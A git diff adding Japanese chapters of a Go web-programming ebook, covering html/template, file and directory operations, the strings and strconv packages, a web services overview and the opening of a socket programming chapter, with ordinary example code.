+これまでに既にGo言語の`regexp`パッケージの全てをご紹介しました。これに対する主な関数の紹介と例を通して、みなさんはGo言語の正規表現パッケージを使って基本的な正規表現の操作が可能になったことと信じております。 + + +## links + * [目次]() + * 前へ: [Jsonの処理](<07.2.md>) + * 次へ: [テンプレートの処理](<07.4.md>) diff --git a/ja/ebook/07.4.md b/ja/ebook/07.4.md new file mode 100644 index 00000000..f8df1f45 --- /dev/null +++ b/ja/ebook/07.4.md @@ -0,0 +1,350 @@ +# 7.4 テンプレートの処理 +## テンプレートとは何か +おそらくあなたはMVCのデザインパターンについて聞いたことがあると思います。Modelはデータを処理を、Viewは表示結果を、Controllerはユーザのリクエストの制御を行います。Viewレイヤーの処理では、多くの動的な言語ではどれも静的なHTMLの中に動的言語が生成したデータを挿入します。例えばJSPでは`<%=....=%>`を挿入することで、PHPでは``を挿入することで実現します。 + +下の図でテンプレートのメカニズムについてご紹介します + +![](images/7.4.template.png?raw=true) + +図7.1 テンプレートのメカニズム図 + +Webアプリケーションがクライアントに返すフィードバックの情報の中の大部分の内容は静的で不変です。また少ない部分でユーザのリクエストによって動的に生成されるものがあります。例えばユーザのアクセスログリストを表示したい場合、ユーザ間ではログデータが異なるのみで、リストのスタイルは固定です。この時テンプレートを用いることで多くの静的なコードを使いまわすことができます。 + +## Goのテンプレートの使用 +Go言語では、`template`パッケージを使用してテンプレートの処理を行います。`Parse`、`ParseFile`、`Execute`といった方法を使ってファイルや文字列からテンプレートをロードします。その後植えの図で示したテンプレートのmerge操作のようなものを実行します。下の例をご覧ください: + + func handler(w http.ResponseWriter, r *http.Request) { + t := template.New("some template") //テンプレートを新規に作成する。 + t, _ = t.ParseFiles("tmpl/welcome.html", nil) //テンプレートファイルを解析 + user := GetUser() //現在のユーザの情報を取得する。 + t.Execute(w, user) //テンプレートのmerger操作を実行する。 + } + +上の例で、Go言語のテンプレート操作は非常に簡単で便利だとおわかりいただけるかと思います。その他の言語のテンプレート処理に似ていて、まずデータを取得した後データを適用します。 + +デモとテストコードの簡便のため、以降の例では以下の形式のコードを採用します。 + +- ParseFilesの代わりにParseを使用します。Parseは直接文字列をテストでき、外部のファイルを必要としないためです。 +- handlerを使ってデモコードを書くことはせず、それぞれひとつのmainをテストします。便利なテストです。 +- `http.ResponseWriter`の代わりに`os.Stdout`を使用します。`os.Stdout`は`io.Writer`インターフェースを実装しているからです。 + +## どのようにしてテンプレートの中にデータを挿入するのか? +上においてどのように解析とテンプレートの適用するかデモを行いました。以降ではさらに詳しくどのようにデータを適用していくのか理解していきましょう。テンプレートはすべてGoのオブジェクト上で適用されます。Goオブジェクトのフィールドはどのようにしてテンプレートの中に挿入されるのでしょうか? + +### フィールドの操作 +Go言語のテンプレートは`{{}}`を通して適用時に置換する必要のあるフィールドを含めます。`{{.}}`は現在のオブジェクトを示しています。これはJavaやC++の中のthisに似たものです。もし現在のオブジェクトのフィールドにアクセスしたい場合は`{{.FieldName}}`というようにします。ただし注意してください:このフィールドは必ずエクスポートされたものとなります(頭文字が大文字になります)、さもなければ適用時にエラーを発生させます。下の例をご覧ください: + + package main + + import ( + "html/template" + "os" + ) + + type Person struct { + UserName string + } + + func main() { + t := template.New("fieldname example") + t, _ = t.Parse("hello {{.UserName}}!") + p := Person{UserName: "Astaxie"} + t.Execute(os.Stdout, p) + } + +上のコードでは正しく`hello Astaxie`と出力されます。しかしもしコードに修正を加え、テンプレートにエクスポートされていないフィールドを含むと、エラーを発生させます。 + + type Person struct { + UserName string + email string //エクスポートされていないフィールド、頭文字が小文字です。 + } + + t, _ = t.Parse("hello {{.UserName}}! {{.email}}") + +上のコードはエラーを発生させます。なぜならエクスポートされていないフィールドをコールしたためです。しかしもし存在しないフィールドをコールした場合はエラーを発生させず、空文字列を出力します。 + +テンプレートで`{{.}}`を出力すると、一般的には文字列オブジェクトに対して適用されます。デフォルトでfmtパッケージがコールされ文字列の内容が出力されます。 + +### ネストしたフィールドの内容の出力 +上の例でどのようにひとつのオブジェクトのフィールドを出力するか示しました。もしフィールドの中にまたオブジェクトがある場合は、どのようにループしてこれらの内容を出力するのでしょうか?ここでは`{{with ...}}...{{end}}`と`{{range ...}}{{end}}`によってデータを出力することができます。 + +- {{range}} はGo言語の中のrangeに似ています。ループしてデータを操作します +- {{with}}操作は現在のオブジェクトの値を指します。コンテキストの概念に似ています。 + +詳細な使用方法は以下の例をご覧ください: + + package main + + import ( + "html/template" + "os" + ) + + type Friend struct { + Fname string + } + + type Person struct { + UserName string + Emails []string + Friends []*Friend + } + + func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an email {{.}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) + } + +### 条件分岐 +Goテンプレートにおいてもし条件判断が必要となった場合は、Go言語の`if-else`文に似た方法を使用することで処理することができます。もしpipelineが空であれば、ifはデフォルトでfalseだと考えます。下の例でどのように`if-else`文を使用するか示します: + + package main + + import ( + "os" + "text/template" + ) + + func main() { + tEmpty := template.New("template test") + tEmpty = template.Must(tEmpty.Parse("空の pipeline if demo: {{if ``}} 出力されません。 {{end}}\n")) + tEmpty.Execute(os.Stdout, nil) + + tWithValue := template.New("template test") + tWithValue = template.Must(tWithValue.Parse("空ではない pipeline if demo: {{if `anything`}} コンテンツがあります。出力します。 {{end}}\n")) + tWithValue.Execute(os.Stdout, nil) + + tIfElse := template.New("template test") + tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if部分 {{else}} else部分.{{end}}\n")) + tIfElse.Execute(os.Stdout, nil) + } + +上のデモコードを通して`if-else`文が相当簡単であることがわかりました。使用に際してとても簡単にテンプレートコードの中に集約されます。 + +> 注意:ifの中では条件判断を使用することができません。例えば、Mail=="astaxie@gmail.com"のような判断は誤りです。ifの中ではbool値のみ使用できます。 + +### pipelines +Unixユーザは`pipe`についてよくご存知でしょう。`ls | grep "beego"`のような文法はよく使われるものですよね。カレントディレクトリ以下のファイルをフィルターし、"beego"を含むデータを表示します。前の出力を後の入力にするという意味があります。最後に必要なデータを表示します。Go言語のテンプレートの最大のアドバンテージはデータのpipeをサポートしていることです。Go言語の中でいかなる`{{}}`の中はすべてpipelinesデータです。例えば上で出力したemailにもしXSSインジェクションを引き起こす可能性があるとすると、どのように変換するのでしょうか? + + {{. | html}} + +emailが出力される場所では上のような方法で出力をすべてhtmlの実体に変換することができます。上のような方法は我々が普段書いているUnixの方法とまったく一緒ではないですか。とても簡単に操作することができます。他の関数をコールする場合も似たような方法となります。 + +### テンプレート変数 +ときどき、テンプレートを使っていてローカル変数を定義したい場合があります。操作の中でローカル変数を宣言することができます。例えば`with``range``if`プロセスではローカル変数を宣言します。この変数のスコープは`{{end}}`の前です。Go言語で宣言されたローカル変数の形式は以下のとおりです: + + $variable := pipeline + +詳細な例は以下をご覧ください: + + {{with $x := "output" | printf "%q"}}{{$x}}{{end}} + {{with $x := "output"}}{{printf "%q" $x}}{{end}} + {{with $x := "output"}}{{$x | printf "%q"}}{{end}} +### テンプレート関数 +テンプレートがオブジェクトのフィールドの値を出力する際、`fmt`パッケージを採用してオブジェクトを文字列に変換します。しかしときどき我々はこうしたくはないときもあります。例えばスパムメールの送信者がウェブページから拾い集めてくる方法で我々のメールボックスへ情報を送信することを防止したいときがあります。`@`をatに変換したいわけです。たとえば:`astaxie at beego.me`のように。このような機能を実装したい場合は、自分で定義した関数でこの機能を作成する必要があります。 + +各テンプレート関数はいずれも単一の名前をもっていて、一つのGo関数と関係しています。以下の方法によって関係をもたせます。 + + type FuncMap map[string]interface{} + +例えば、もしemail関数のテンプレート関数の名前を`emailDeal`としたい場合は、これが関係するGo関数の名前は`EmailDealWith`となります。下の方法でこの関数を登録することができます。 + + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + +`EmailDealWith`という関数の引数と戻り値は以下のように定義します: + + func EmailDealWith(args ...interface{}) string + +以下の実装例を見てみましょう: + + package main + + import ( + "fmt" + "html/template" + "os" + "strings" + ) + + type Friend struct { + Fname string + } + + type Person struct { + UserName string + Emails []string + Friends []*Friend + } + + func EmailDealWith(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + // find the @ symbol + substrs := strings.Split(s, "@") + if len(substrs) != 2 { + return s + } + // replace the @ by " at " + return (substrs[0] + " at " + substrs[1]) + } + + func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an emails {{.|emailDeal}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) + } + + +上ではどのように自分で関数を定義するかお見せしました。実は、テンプレートパッケージの内部ではすでにビルトインの関数が実装されています。下のコードを切り取って自分のテンプレートパッケージの中にはりつけてください。 + + var builtins = FuncMap{ + "and": and, + "call": call, + "html": HTMLEscaper, + "index": index, + "js": JSEscaper, + "len": length, + "not": not, + "or": or, + "print": fmt.Sprint, + "printf": fmt.Sprintf, + "println": fmt.Sprintln, + "urlquery": URLQueryEscaper, + } + + +## Must操作 +テンプレートパッケージには`Must`という関数があります。この作用はテンプレートが正しいか検査することです。例えば大括弧が揃っているか、コメントは正しく閉じられているか、変数は正しく書かれているかといったことです。ここでは例を一つお見せします。Mustを使ってテンプレートが正しいか判断します: + + package main + + import ( + "fmt" + "text/template" + ) + + func main() { + tOk := template.New("first") + template.Must(tOk.Parse(" some static text /* and a comment */")) + fmt.Println("The first one parsed OK.") + + template.Must(template.New("second").Parse("some static text {{ .Name }}")) + fmt.Println("The second one parsed OK.") + + fmt.Println("The next one ought to fail.") + tErr := template.New("check parse error with Must") + template.Must(tErr.Parse(" some static text {{ .Name }")) + } + +讲输出如下内容 + + The first one parsed OK. + The second one parsed OK. + The next one ought to fail. + panic: template: check parse error with Must:1: unexpected "}" in command + +## ネストしたテンプレート +Webアプリケーションを作る時はテンプレートの一部が固定され不変である場合がよくあり、抜き出して独立した部分とすることができます。例えばブログのヘッダと降ったが固定で、変更があるのは真ん中のコンテンツの部分だけだとします。そのため`header`、`content`、`footer`の3つの部分として定義することができます。Go言語では以下のような文法によってこれを宣言します + + {{define "サブテンプレートの名前"}}コンテンツ{{end}} + +以下の方法によってコールします: + + {{template "サブテンプレートの名前"}} + +ここではどのようにしてネストしたテンプレートを使うかお見せします。3つのファイルを定義します。`header.tmpl`、`content.tmpl`、`footer.tmpl`ファイルです。内容は以下のとおり + + //header.tmpl + {{define "header"}} + + + デモンストレーションの情報 + + + {{end}} + + //content.tmpl + {{define "content"}} + {{template "header"}} +

ネストのデモ

+
    +
  • ネストではdefineを使用してサブテンプレートを定義します。
  • +
  • templateの使用をコール
  • +
+ {{template "footer"}} + {{end}} + + //footer.tmpl + {{define "footer"}} + + + {{end}} + +デモコードは以下の通り: + + package main + + import ( + "fmt" + "os" + "text/template" + ) + + func main() { + s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl") + s1.ExecuteTemplate(os.Stdout, "header", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "content", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "footer", nil) + fmt.Println() + s1.Execute(os.Stdout, nil) + } + +上の例で`template.ParseFiles`を使ってすべてのネストしたテンプレートをテンプレートの中にパースできることがお分かりいただけたかと思います。各定義の{{define}}はすべて独立した一個のテンプレートで、互いに独立しています。並列して存在している関係です。内部ではmapのような関係(keyがテンプレートの名前で、valueがテンプレートの内容です。)が保存されています。その後`ExecuteTemplate`を使って対応するサブテンプレートの内容を実行します。headerとfooterのどちらも互いに独立していることがわかります。どれもコンテンツを出力できます。contenrtの中でheaderとfooterのコンテンツがネストしているので、同時に3つの内容を出力できます。しかし、`s1.Execute`を実行した時、何も出力されません。デフォルトではデフォルトのサブテンプレートが無いからです。そのため何も出力されません。 + +>単一の集合のようなテンプレートは互いを知っています。もしあるテンプレートが複数の集合によって使用された場合、複数の集合の中で別々にパースされる必要があります。 + +## 概要 +テンプレートに対する上記の詳細な紹介で、どのようにして動的なデータとテンプレートを融合させるかご理解いただけたかと思います:ループしたデータの出力、関数を定義、テンプレートのネスト等々。テンプレートの技術を応用することで、MVCパターンのVの処理を完成させることができます。以降の章ではどのようにMとCを処理するかご紹介します。 + +## links + * [目次]() + * 前へ: [正規表現の処理](<07.3.md>) + * 次へ: [ファイルの操作](<07.5.md>) diff --git a/ja/ebook/07.5.md b/ja/ebook/07.5.md new file mode 100644 index 00000000..bd3e31f8 --- /dev/null +++ b/ja/ebook/07.5.md @@ -0,0 +1,153 @@ +# 7.5 ファイルの操作 +どのようなコンピュータ設備でも、ファイルは必要です。またWebプログラミングでは、ファイルの操作はWebプログラマがよくぶつかる問題です。ファイルの操作はWebアプリケーションにおいて必須で、非常に有用です。我々はよくディレクトリ、ファイル(フォルダ)の編集といった操作を生成することになります。ここではGoによるこれらの操作に対して詳細な概要を作成し、どのように使用するか実例をお見せします。 +## ディレクトリの操作 +ファイル操作の大部分の関数はどれもosパッケージにあります。以下にいくつかディレクトリの操作を行うものを挙げます: + +- func Mkdir(name string, perm FileMode) error + + 名前がnameのディレクトリを作成します。パーミッションの設定はpermで、例えば0777です。 + +- func MkdirAll(path string, perm FileMode) error + + pathに従って階層的なサブディレクトリを作成します。たとえばastaxie/test1/test2です。 + +- func Remove(name string) error + + 名前がnameのディレクトリを削除します。ディレクトリにファイルまたはその他のディレクトリがある場合はエラーを発生させます。 + +- func RemoveAll(path string) error + + pathに従って階層的なサブディレクトリを削除します。たとえばpathがひとつの名前であれば、、このディレクトリは削除されません。 + + +以下はデモコード: + + package main + + import ( + "fmt" + "os" + ) + + func main() { + os.Mkdir("astaxie", 0777) + os.MkdirAll("astaxie/test1/test2", 0777) + err := os.Remove("astaxie") + if err != nil { + fmt.Println(err) + } + os.RemoveAll("astaxie") + } + + +## ファイルの操作 + +### 新規作成とファイルのオープン +ファイルを新規作成するには以下の2つのメソッドがあります + +- func Create(name string) (file *File, err Error) + + 与えられたファイル名に従って新しいファイルを作成し、ファイルオブジェクトを返します。デフォルトでパーミッションは0666のファイルになります。返されたファイルオブジェクトは読み書きできます。 + +- func NewFile(fd uintptr, name string) *File + + ファイルディスクリプタに従って対応するファイルを作成し、ファイルオブジェクトを返します。 + + +以下の2つのメソッドによってファイルを開きます: + +- func Open(name string) (file *File, err Error) + + このメソッドは名前がnameのファイルを開きます。しかし読み込みしかできません。内部では実はOpenFileがコールされています。 + +- func OpenFile(name string, flag int, perm uint32) (file *File, err Error) + + 名前がnameのファイルを開きます。flagはオープンモードです。読み込むだけか、読み書きできるかといったものです。permはパーミッションです。 + +### ファイルへの書き込み +ファイルへの書き込みを行う関数: + +- func (file *File) Write(b []byte) (n int, err Error) + + byte型の情報をファイルに書き込みます。  + +- func (file *File) WriteAt(b []byte, off int64) (n int, err Error) + + 指定した位置から開始してbyte型の情報を書き込みます。 + +- func (file *File) WriteString(s string) (ret int, err Error) + + string情報をファイルに書き込みます。 + +ファイルへの書き込みを行うコード例 + + package main + + import ( + "fmt" + "os" + ) + + func main() { + userFile := "astaxie.txt" + fout, err := os.Create(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fout.Close() + for i := 0; i < 10; i++ { + fout.WriteString("Just a test!\r\n") + fout.Write([]byte("Just a test!\r\n")) + } + } + +### ファイルの読み込み +ファイルへの読み込みを行う関数: + +- func (file *File) Read(b []byte) (n int, err Error) + + データを読み取りbに渡します + +- func (file *File) ReadAt(b []byte, off int64) (n int, err Error) + + offから開始してデータを読み取りbに渡します + +ファイルを読み取るコード例: + + package main + + import ( + "fmt" + "os" + ) + + func main() { + userFile := "asatxie.txt" + fl, err := os.Open(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fl.Close() + buf := make([]byte, 1024) + for { + n, _ := fl.Read(buf) + if 0 == n { + break + } + os.Stdout.Write(buf[:n]) + } + } + +### ファイルの削除 +Go言語ではファイルの削除とディレクトリの削除は同じ関数で行われます + +- func Remove(name string) Error + + この関数をコールすることでファイル名がnameのファイルを削除できます + +## links + * [目次]() + * 前へ: [テンプレートの処理](<07.4.md>) + * 次へ: [文字列の処理](<07.6.md>) diff --git a/ja/ebook/07.6.md b/ja/ebook/07.6.md new file mode 100644 index 00000000..862a8609 --- /dev/null +++ b/ja/ebook/07.6.md @@ -0,0 +1,152 @@ +# 7.6 文字列の処理 +文字列は我々が通常Web開発においてよく使うものです。ユーザの入力やデータベースでのデータの読み取りなどを含め、我々はよく文字列に対して分割、連結、変換といった操作を行います。この節ではGoの標準ライブラリにあるstringsとstrconvという2つのパッケージの関数を使ってどのようにして素早く操作を行うかご説明します。 +## 文字列の操作 +以下の関数はstringsパッケージに入っています。ここでは普段よく使う関数をいくつかご紹介します。詳細はオフィシャルドキュメントをご参照ください。 + +- func Contains(s, substr string) bool + + 文字列sにsubstrが含まれるか判断します。bool値を返します。 + + fmt.Println(strings.Contains("seafood", "foo")) + fmt.Println(strings.Contains("seafood", "bar")) + fmt.Println(strings.Contains("seafood", "")) + fmt.Println(strings.Contains("", "")) + //Output: + //true + //false + //true + //true + +- func Join(a []string, sep string) string + + 文字列連結。slice aに対しsepで連結します。 + + s := []string{"foo", "bar", "baz"} + fmt.Println(strings.Join(s, ", ")) + //Output:foo, bar, baz + +- func Index(s, sep string) int + + 文字列sでsepが存在する位置です。インデックスを返します。見つからなければ-1を返します。 + + fmt.Println(strings.Index("chicken", "ken")) + fmt.Println(strings.Index("chicken", "dmr")) + //Output:4 + //-1 + +- func Repeat(s string, count int) string + + s文字列をcount回リピートします。最後にリピートされた文字列を返します。 + + fmt.Println("ba" + strings.Repeat("na", 2)) + //Output:banana + +- func Replace(s, old, new string, n int) string + + s文字列において、old文字列をnew文字列に置換します。nは置換回数を表しています。0以下では全て置換します。 + + fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) + fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) + //Output:oinky oinky oink + //moo moo moo + +- func Split(s, sep string) []string + + sepによってs文字列を分割します。sliceを返します。 + + fmt.Printf("%q\n", strings.Split("a,b,c", ",")) + fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) + fmt.Printf("%q\n", strings.Split(" xyz ", "")) + fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) + //Output:["a" "b" "c"] + //["" "man " "plan " "canal panama"] + //[" " "x" "y" "z" " "] + //[""] + +- func Trim(s string, cutset string) string + + s文字列からcutsetで指定した文字列を除去する。 + + fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) + //Output:["Achtung"] + +- func Fields(s string) []string + + s文字列の空白文字を除去し、空白に従って分割されたsliceを返します。 + + fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) + //Output:Fields are: ["foo" "bar" "baz"] + + +## 文字列の変換 +文字列を変換する関数はstrconvにあります。以下はそのうちよく使われるもののリストでしかありません: + +- Append シリーズの関数は整数などを文字列に変換した後、現在のバイト列に追加します。 + + package main + + import ( + "fmt" + "strconv" + ) + + func main() { + str := make([]byte, 0, 100) + str = strconv.AppendInt(str, 4567, 10) + str = strconv.AppendBool(str, false) + str = strconv.AppendQuote(str, "abcdefg") + str = strconv.AppendQuoteRune(str, '单') + fmt.Println(string(str)) + } + +- Format シリーズの関数は他の型を文字列に変換します。 + + package main + + import ( + "fmt" + "strconv" + ) + + func main() { + a := strconv.FormatBool(false) + b := strconv.FormatFloat(123.23, 'g', 12, 64) + c := strconv.FormatInt(1234, 10) + d := strconv.FormatUint(12345, 10) + e := strconv.Itoa(1023) + fmt.Println(a, b, c, d, e) + } + +- Parse シリーズの関数は文字列をその他の型に変換します。 + + package main + + import ( + "fmt" + "strconv" + ) + func checkError(e error){ + if e != nil{ + fmt.Println(e) + } + } + func main() { + a, err := strconv.ParseBool("false") + checkError(err) + b, err := strconv.ParseFloat("123.23", 64) + checkError(err) + c, err := strconv.ParseInt("1234", 10, 64) + checkError(err) + d, err := strconv.ParseUint("12345", 10, 64) + checkError(err) + e, err := strconv.Atoi("1023") + checkError(err) + fmt.Println(a, b, c, d, e) + } + + + +## links + * [目次]() + * 前へ: [ファイルの操作](<07.5.md>) + * 次へ: [概要](<07.7.md>) diff --git a/ja/ebook/07.7.md b/ja/ebook/07.7.md new file mode 100644 index 00000000..d84f0f60 --- /dev/null +++ b/ja/ebook/07.7.md @@ -0,0 +1,7 @@ +# 7.7 概要 +この章ではみなさんにXML、JSON、正規表現およびテンプレートの技術といったテキスト処理のツールをいくつかご紹介しました。XMLとJSONを使って様々な意味を表現することができます。正規表現ではテキストの検索/置換/切り取りといった処理を行うことができます。テンプレート技術を使うとこれらのデータをユーザに表示させることができます。これらはどれもWebアプリケーションを開発する過程で必要となる技術です。この節のご紹介を通じてどのようにテキストを処理、表示するかご理解いただけたかと思います。 + +## links + * [目次]() + * 前へ: [文字列の処理](<07.6.md>) + * 次へ: [Webサービス](<08.0.md>) diff --git a/ja/ebook/08.0.md b/ja/ebook/08.0.md new file mode 100644 index 00000000..05794c38 --- /dev/null +++ b/ja/ebook/08.0.md @@ -0,0 +1,20 @@ +# 8 Webサービス +WebサービスではHTTPプロトコルの基礎の上にXMLまたはJSONを使って情報を交換することができるようになります。もし上海の天気予報を知りたかったり、チャイナペトロの株価やタオバオの商店にある商品の情報を知りたかったりすると、簡単なコードを少し書くことで、これらの情報を取得し、標準のインターフェースに開放することができます。ローカルで関数をコールし、値をひとつ返すのと同じようなものです。 + +Webサービスのバックエンドのキーはプラットフォームに依存しないことです。あなたはあなたのサービスをLinuxシステムで実行してもかまいませんし、他のWindowsのasp.netプログラムと交互に同様に一つのインターフェースを通じてFreeBSD上で実行されているJSPとなんの障害も無く通信することもできます。 + +現在主流となっているのは以下のいくつかのWebサービスです:REST、SOAP。 + +RESTリクエストはとても直感的です。なぜならRESTはHTTPプロトコルに基いた追加だからです。各リクエストはどれもHTTPリクエストです。異なるmethodに従って異なるロジックを処理します。多くのWeb開発者はいずれもHTTPプロトコルに詳しいので、RESTを学ぶことは比較的簡単でしょう。ですので我々は8.3節においてどのようにGo言語でRESTメソッドを実装するか詳細にご紹介します。 + +SOAPはW3Cのネットワークを超えた情報伝達とリモートコンピュータの関数コール方面の標準のひとつです。しかしSOAPはとても複雑で、完全な規則は非常に長くなります。また内容はいまでも増加しています。Go言語は簡単さで有名ですので、SOAPのような複雑なものはここではご紹介しません。Go言語は生まれながらにしてとても良い、開発に便利なRPCメカニズムを提供しています。8.4節ではどのようにしてGo言語を使ってRPCを実装するか詳しくご紹介するつもりです。 + +Go言語は21世紀のC言語です。性能と簡単さを追求するため、8.1節ではどのようにしてSocketプログラミングを行うかご説明します。多くのゲームサービスはどれもSocketを採用してサーバをプログラムしています。HTTPプロトコルは比較的性能を必要とするものですので、Go言語がどのようにしてSocketプログラミングを行うのか見てみることにしましょう。現在HTML5の発展にしたがって、webSocketsも多くのゲーム会社が引き続き開発する手段の一つとなりつつあります。8.2節ではGo言語でどのようにしてwebSocketsのコードをプログラムするかご説明します。 + +## 目次 + ![](images/navi8.png?raw=true) + +## links + * [目次]() + * 次へ: [第七章概要](<07.7.md>) + * 前へ: [Socketプログラミング](<08.1.md>) diff --git a/ja/ebook/08.1.md b/ja/ebook/08.1.md new file mode 100644 index 00000000..059d6c3a --- /dev/null +++ b/ja/ebook/08.1.md @@ -0,0 +1,396 @@ +# 8.1 Socketプログラミング +多くの低レイヤのネットワークアプリケーションの開発者の目には一切のプログラムがどれもSocketのように映ります。すこし大げさかもしれませんが、だいたいこのようなものです。現在のネットワークプログラミングはほぼすべてにおいてSocketを使用してプログラムされています。このような場面を考えたことはありませんか?毎日ブラウザを開いてページを閲覧する際、ブラウザプロセスはどのようにしてWebサーバと通信を行なっているのでしょう?QQを使ってチャットする時、QQプロセスはどのようにしてサーバまたはあなたの友達がいるQQプロセスと通信を行なっているのでしょう?PPstreamを開いてストリーミング映像を見るとき、PPstreamプロセスはどのようにして動画サーバと通信をおこなっているのでしょう?このように、すべてはSocketに依存して通信を行なっています。ひとつを見てすべてを理解すると、Socketプログラミングは現代のプログラミングの中でも非常に多くの重要な地位を占めていることが見て取れます。この章ではGo言語においてどのようにSocketプログラミングを行うのかご紹介します。 + +## Socketとは何か? +SocketはUnixを起源とします。Unixの基本哲学の一つは"すべてはファイルである"です。すべては"開くopen -> 読み書きwrite/read -> 閉じるclose"のパターンによって操作されます。Socketはこのパターンの実装の一つです。ネットワークのSocketデータ通信は特殊なI/Oの一つです。Socketもファイルディスクリプタの一種です。Socketもファイルを開く関数を持っています:Socket()。この関数はint型のSocketディスクリプタを返します。以後の接続の確立によってデータ転送といった操作はすべてこのSocketを通ることで実現されます。 + +よく使われるSocketには二種類があります:ストリームSocket(SOCK_STREAM)とデータグラムSocket(SOCK_DGRAM)です。ストリームは接続指向のSocketの一種です。接続指向のTCPサービスアプリケーションに使用されます。またデータグラムSocketは無接続のSocketの一種です。接続の無いUDPサービスアプリケーションに利用されます。 +## Socketはどのようにして通信を行うか +ネットワークではプロセス間はどのようにしてSocketを使って通信を行うのでしょうか?まず解決しなければならない問題はどのようにユニークなプロセスのひとつを認識するのかということです。そうでなければ通信を始めることすらままなりません!ローカルでプロセスPIDを使って一つのプロセスを識別します。実はTCP/IPプロトコル族ではすでにこの問題を解決してくれています。ネットワーク層の"ipアドレス"はネットワーク上のホストを一意に認識しており、トランスポート層の"プロトコル+ポート"はホストのアプリケーションプログラム(プロセス)を一意に認識することができます。これら3つの組み合わせ(ipアドレス、プロトコル、ポート)を利用することで、ネットワークのプロセスを認識することができます。ネットワークにおいて通信を行う必要のあるプロセスはこのタグを利用して互い通信を行うことができます。以下のTCP/IPプロトコルの構造図をご覧ください。 + +![](images/8.1.socket.png?raw=true) + +图8.1 七層のネットワークプロトコルの図 + +TCP/IPプロトコルを使用したアプリケーションプログラムは通常アプリケーションプログラムのポートを採用します:UNIX BSDのソケット(socket)とUNIX System VのTLI(すでに淘汰されています)によってネットワークプロセス間の通信を実現します。現在ではほぼすべてのアプリケーションプログラムではsocketが採用されています。現在はネットワーク時代で、ネットワークのプロセス通信はどこにでも存在します。"すべてがSocket"というのはこういうことです。 + +## Socketの基礎知識 +Socketには二種類存在することをご紹介しました:TCP SocketとUDP Socketです。TCPとUDPはプロトコルで、ひとつのプロセスを確定するためには3つの組が必要です。IPアドレスとポート番号が必要です。 + +### IPv4アドレス +現在のインターネットが採用しているプロトコル族はTCP/IPプロトコルです。IPはTCP/IPプロトコルのネットワーク層のプロトコルです。TCP/IPプロトコル族のコアとなるプロトコルです。現在主に採用されているIPプロトコルのバージョンは4(簡単な呼び名はIPv4)です。現在まで30数年あまりに渡って使用されてきました。 + +IPv4のアドレスビット数は32ビットです。つまり多くても2の32乗のネットワーク機器がInternetに接続できることになります。ここ十年来インターネットの力強い発展にともなって、IPアドレスの需要は高まりつつあります。IPアドレスの割り当てはより厳しくなり、以前報道によるとIPV4のアドレスがすでに割り当てが終了しました。私達の会社に現在多く存在するサーバーのIPはどれも貴重な資源の一つとなっています。 + +アドレスの形式はこのようなものです:127.0.0.1 172.122.121.111 + +### IPv6アドレス +IPv6は次のバージョンのインターネットプロトコルです。次世代のインターネットプロトコルといってもかまいません。これはIPv4の実施過程において発生した各種の問題を解決するために提案されたものです。IPv6は128ビットのアドレス長を採用しており、ほぼ無制限にアドレスを提供することができます。IPv6を実際に分配できるアドレスを計算すると、安く見積もっても地球上の1平方メートルの面積に1000以上のアドレスを割り当てることができます。IPv6の設計においては前もってアドレスの枯渇問題を解決した以外に、IPv4でうまく解決できなかったその他の問題についても考慮しています。主にエンドツーエンドのIP接続、クォリティオブサービス(QoS)、セキュリティ、マルチキャスト、モバイル性、プラグアンドプレイ等です。 + +アドレスの形式は以下のようになります:2002:c0e8:82e7:0:0:0:c0e8:82e7 + +### GoでサポートされるIP形式 +Goの`net`パッケージではいくつもの型が定義されています。関数とメソッドはネットワークプログラミングを行うために使われます。この中でIPの定義は以下の通りです: + + type IP []byte + +`net`パッケージではたくさんの関数によってIPを操作します。しかし比較的使われるものは数個しかありません。このうち`ParseIP(s string) IP`関数はIPv4またはIPv6のアドレスをIP型に変換します。下の例をご覧ください: + + package main + import ( + "net" + "os" + "fmt" + ) + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0]) + os.Exit(1) + } + name := os.Args[1] + addr := net.ParseIP(name) + if addr == nil { + fmt.Println("Invalid address") + } else { + fmt.Println("The address is ", addr.String()) + } + os.Exit(0) + } + +実行するとIPアドレスを入力することで対応するIP形式が出力されるのがお分かりいただけるかと思います。 + +## TCP Socket +どのようにしてネットワークのポートからサービスにアクセスするか知っていれば、何ができるのでしょうか?クライアントからすれば、あるリモートの機器のあるネットワークポートに対してリクエストを一つ送信することによって、機器のこのポートを監視しているサーバのフィードバック情報を得ることができます。サーバからすると、サーバをある指定されたポートに紐付け、このポートを監視する必要があります。クライアントからアクセスがあった時情報を取得し、フィードバック情報を書き込むことになります。 + 